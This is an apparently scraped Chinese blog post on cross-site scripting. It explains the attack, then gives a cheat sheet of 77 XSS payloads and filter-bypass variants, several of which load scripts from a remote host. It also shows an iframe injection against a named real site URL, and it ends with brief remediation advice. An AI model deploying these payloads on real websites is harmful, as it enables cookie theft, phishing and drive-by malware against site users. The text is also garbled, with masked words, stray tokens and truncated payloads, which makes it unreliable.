xss跨站漏洞

 

xss***就是惡意***者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。

通常而言,利用跨站腳本***,***者可竊會話COOKIE從而竊取網站用戶的隱私,包括密碼。javascript

XSS***使用到的技術主要爲HTML和Javascript,也包括VBScript和ActionScript等。XSS***對WEB服務器雖無直接危害,可是它藉助網站進行傳播,使網站的使用用戶受到***,致使網站用戶賬號被竊取,從而對網站也產生了較嚴重的危害。 php


XSS***分紅兩類
一類是來自內部的***,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的 跨站漏洞
另外一類則是來自外部的***,主要指的本身構造XSS跨站漏洞網頁或者尋找非目標機之外的有跨站漏洞的網頁。如當咱們要***一個站點,咱們本身構造一個有跨站漏洞的網頁,而後構造跨站語句,經過結合其它技術,如社會工程學等,欺騙目標服務器的 管理員打開

XSS的類型
一種是入庫型:即代碼被寫入數據庫
令一種就是非入庫型:代碼沒有被寫入數據庫

XSS工做流程

1)惡意用戶,在一些公共區域(例如,建議提交表單或消息公共板的輸入表單)輸入一些文本,這些文本被其它用戶看到,但這些文本不單單是他們要輸入的文本,同時還包括一些能夠在客戶端執行的腳本。如:
<script>
this.document = "*********";
</script>
2)惡意提交這個表單
3)其餘用戶看到這個包括惡意腳本的頁面並執行,獲取用戶的cookie等敏感信息。


XSS常見的***代碼
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG標籤XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG標籤無分號無引號
<IMG alert(‘XSS’)>
(4)IMG標籤大小寫不敏感
<IMG alert(‘XSS’)>
(5)HTML編碼(必須有分號)
<IMG alert(「XSS」)>
(6)修正缺陷IMG標籤
<IMG 「」"><SCRIPT>alert(「XSS」)</SCRIPT>」>
(7)formCharCode標籤(計算器)
<IMG alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼(計算器)
<IMG jav..省略..S')>
(9)7位的UTF-8的Unicode編碼是沒有分號的(計算器)
<IMG jav..省略..S')>
(10)十六進制編碼也是沒有分號(計算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式標籤,將Javascript分開
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(12)嵌入式編碼標籤,將Javascript分開
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(13)嵌入式換行符
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(14)嵌入式回車
<IMG SRC=」jav ascript:alert(‘XSS’);」>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=」alert(‘XSS‘)」>
(16)解決限制字符(要求同頁面)
<script>z=’document.’</script>
< script>z=z+’write(「‘</script>
< script>z=z+’<script’</script>
< script>z=z+’ src=ht’</script>
< script>z=z+’tp://ww’</script>
< script>z=z+’w.shell’</script>
< script>z=z+’.net/1.’</script>
< script>z=z+’js></sc’</script>
< script>z=z+’ript>」)’</script>
< script>eval_r(z)</script>
(17)空字符
perl -e ‘print 「<IMG java\0script:alert(\」XSS\」)>」;’ > out
(18)空字符2,空字符在國內基本沒效果.由於沒有地方能夠利用
perl -e ‘print 「<SCR\0IPT>alert(\」XSS\」)</SCR\0IPT>」;’ > out
(19)Spaces和meta前的IMG標籤
<IMG SRC=」 alert(‘XSS’);」>
(20)Non-alpha-non-digit XSS
< SCRIPT/XSS SRC=」 http://3w.org/XSS/xss.js」></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(「XSS」)>
(22)Non-alpha-non-digit XSS to 3
< SCRIPT/SRC=」 http://3w.org/XSS/xss.js」></SCRIPT>
(23)雙開括號
<<SCRIPT>alert(「XSS」);//<</SCRIPT>
(24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)無結束腳本標記2
< SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半開的HTML/JavaScript XSS
< IMG SRC=」alert(‘XSS’)」
(27)雙開角括號
<iframe src=http://3w.org/XSS.html <
(28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\」;alert(‘XSS’);//
(30)結束Title標籤
< /TITLE><SCRIPT>alert(「XSS」);</SCRIPT>
(31)Input Image
< INPUT SRC=」alert(‘XSS’);」>
(32)BODY Image
< BODY BACKGROUND=」alert(‘XSS’)」>
(33)BODY標籤
<BODY(‘XSS’)>
(34)IMG Dynsrc
< IMG DYNSRC=」alert(‘XSS’)」>
(35)IMG Lowsrc
< IMG LOWSRC=」alert(‘XSS’)」>
(36)BGSOUND
< BGSOUND SRC=」alert(‘XSS’);」>
(37)STYLE sheet
< LINK REL=」stylesheet」 HREF=」alert(‘XSS’);」>
(38)遠程樣式表
<LINK REL=」stylesheet」 HREF=」 http://3w.org/xss.css」>
(39)List-style-p_w_picpath(列表式)
<STYLE>li {list-style-p_w_picpath: url(「alert(‘XSS’)」);}< /STYLE><UL><LI>XSS
(40)IMG VBscript
< IMG SRC=’vbscript:msgbox(「XSS」)’></STYLE><UL><LI>XSS
(41)META連接url
< META HTTP-EQUIV=」refresh」 CONTENT=」0; URL=http://;URL=alert(‘XSS’);」>
(42)Iframe
< IFRAME SRC=」alert(‘XSS’);」>< /IFRAME>
(43)Frame
< FRAMESET><FRAME SRC=」alert(‘XSS’);」>< /FRAMESET>
(44)Table
< TABLE BACKGROUND=」alert(‘XSS’)」>
(45)TD
< TABLE><TD BACKGROUND=」alert(‘XSS’)」>
(46)DIV background-p_w_picpath
< DIV STYLE=」background-p_w_picpath: url(alert(‘XSS’))」>
(47)DIV background-p_w_picpath後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)
< DIV STYLE=」background-p_w_picpath: url( alert(‘XSS’))」>
(48)DIV expression
< DIV STYLE=」width: expression_r(alert(‘XSS’));」>
(49)STYLE屬性分拆表達
<IMG STYLE=」xss:expression_r(alert(‘XSS’))」>
(50)匿名STYLE(組成:開角號和一個字母開頭)
<XSS STYLE=」xss:expression_r(alert(‘XSS’))」>
(51)STYLE background-p_w_picpath
< STYLE>.XSS{background-p_w_picpath:url(「alert(‘XSS’)」);}< /STYLE><A CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(「XSS」))’>
(53)STYLE background
< STYLE><STYLE type=」text/css」>BODY{url(「alert(‘XSS’)」)}<  /STYLE>
(54)BASE
< BASE HREF=」alert(‘XSS’); //」>
(55)EMBED標籤,你能夠嵌入FLASH,其中包涵XSS
< EMBED SRC=」 http://3w.org/XSS/xss.swf」 ></EMBED>
(56)在flash中使用ActionScrpt能夠混進你XSS的代碼
a=」get」;
b=」URL(\」";
c=」javascript:」;
d=」alert(‘XSS’);\」)」;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必須和你的XSS載體在一臺服務器上
<HTML xmlns:xss>
< ?import namespace=」xss」 implementation=」 http://3w.org/XSS/xss.htc」>
<xss:xss>XSS</xss:xss>
< /HTML>
(58)若是過濾了你的JS你能夠在圖片裏添加JS代碼來利用
<SCRIPT SRC=」」></SCRIPT>
(59)IMG嵌入式命令,可執行任意命令
<IMG SRC=」 http://www.XXX.com/a.php?a=b」>
(60)IMG嵌入式命令(a.jpg在同服務器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)繞符號過濾
<SCRIPT a=」>」 SRC=」 http://3w.org/xss.js」></SCRIPT>
(62)
< SCRIPT =」>」 SRC=」 http://3w.org/xss.js」></SCRIPT>
(63)
< SCRIPT a=」>」 」 SRC=」 http://3w.org/xss.js」></SCRIPT>
(64)
< SCRIPT 「a=’>’」 SRC=」 http://3w.org/xss.js」></SCRIPT>
(65)
< SCRIPT a=`>` SRC=」 http://3w.org/xss.js」></SCRIPT>
(66)
< SCRIPT a=」>’>」 SRC=」 http://3w.org/xss.js」></SCRIPT>
(67)
< SCRIPT>document.write(「<SCRI」);</SCRIPT>PT SRC=」 http://3w.org/xss.js」></SCRIPT>
(68)URL繞行
<A HREF=」 http://127.0.0.1/」>XSS</A>
(69)URL編碼
<A HREF=」 http://3w.org」>XSS</A>
(70)IP十進制
<A HREF=」http://3232235521″>XSS</A>
(71)IP十六進制
<A HREF=」 http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八進制
<A HREF=」 http://0300.0250.0000.0001″>XSS</A>
(73)混合編碼
<A HREF=」h
tt p://6 6.000146.0×7.147/」">XSS</A>
(74)節省[http:]
< A HREF=」//www.google.com/」>XSS</A>
(75)節省[www]
< A HREF=」 http://google.com/」>XSS</A>
(76)絕對點絕對DNS
< A HREF=」 http://www.google.com./」>XSS</A>
(77)javascript連接
<A HREF=」javascript:document.location=’ http://www.google.com/’」>XSS</A>

XSS漏洞挖掘及利用
1.發掘
URL中帶中文的、或者帶URL編碼的
http://sqxhsp.com/news.asp?cat_id=11&types=企業新聞

二、利用
<script>alert('baidu.com')</script>
<iframe src=http:// baidu .com></iframe>
<iframe src=http:// baidu .com width=0 height=0></iframe>
<meta http-equiv="refresh" content="2;url=http:// baidu .com">
例:
http://sqxhsp.com/news.asp?cat_id=11&types=企業新聞<iframe%20src=http://%62%61%69%64%75%2E%63%6F%6D%20width=0%20height=0></iframe>
//若是iframe裏面包含的就是xss腳本,當訪問的時候就會構成掛馬***或***網站
跨站腳本漏洞危害
  1. 釣魚欺騙:最典型的就是利用目標網站的反射型跨站腳本漏洞將目標網站重定向到釣魚網站,或者注入釣魚JavaScript以監控目標網站的表單輸入,甚至發起基於DHTML更高級的釣魚***方式。css

  2. 網站掛馬:跨站時利用IFrame嵌入隱藏的惡意網站或者將被***者定向到惡意網站上,或者彈出惡意網站窗口等方式均可以進行掛馬***。html

  3. 身份盜用:Cookie是用戶對於特定網站的身份驗證標誌,XSS能夠盜取到用戶的Cookie,從而利用該Cookie盜取用戶對該網站的操做權限。若是一個網站管理員用戶Cookie被竊取,將會對網站引起巨大的危害。java

  4. 盜取網站用戶信息:當可以竊取到用戶Cookie從而獲取到用戶身份使,***者能夠獲取到用戶對網站的操做權限,從而查看用戶隱私信息。git

  5. 垃圾信息發送:好比在SNS社區中,利用XSS漏洞借用被***者的身份發送大量的垃圾信息給特定的目標羣。web

  6. 劫持用戶Web行爲:一些高級的XSS***甚至能夠劫持用戶的Web行爲,監視用戶的瀏覽歷史,發送與接收的數據等等。shell

  7. XSS蠕蟲:XSS 蠕蟲能夠用來打廣告、刷流量、掛馬、惡做劇、破壞網上數據、實施DDoS***等。數據庫

 

 

跨站腳本漏洞解決方案express

 

  1. 檢查變量是否正確初始化並明確變量類型

  2. 不只要驗證數據的類型,還要驗證其格式、長度、範圍和內容。

  3. 不要僅僅在客戶端對數據作HTML標籤轉義以及過濾單引號,雙引號等危險字符,關鍵的過濾步驟也應該在服務端進行。

  4. 對輸出到頁面的數據也要作安全檢查,數據庫裏的值有可能會在一個大網站的多處都有輸出,即便在輸入作了編碼等操做,在各處的輸出點時也要進行安全檢查。

  5. 在發佈應用程序以前測試全部已知的威脅。

相關文章
相關標籤/搜索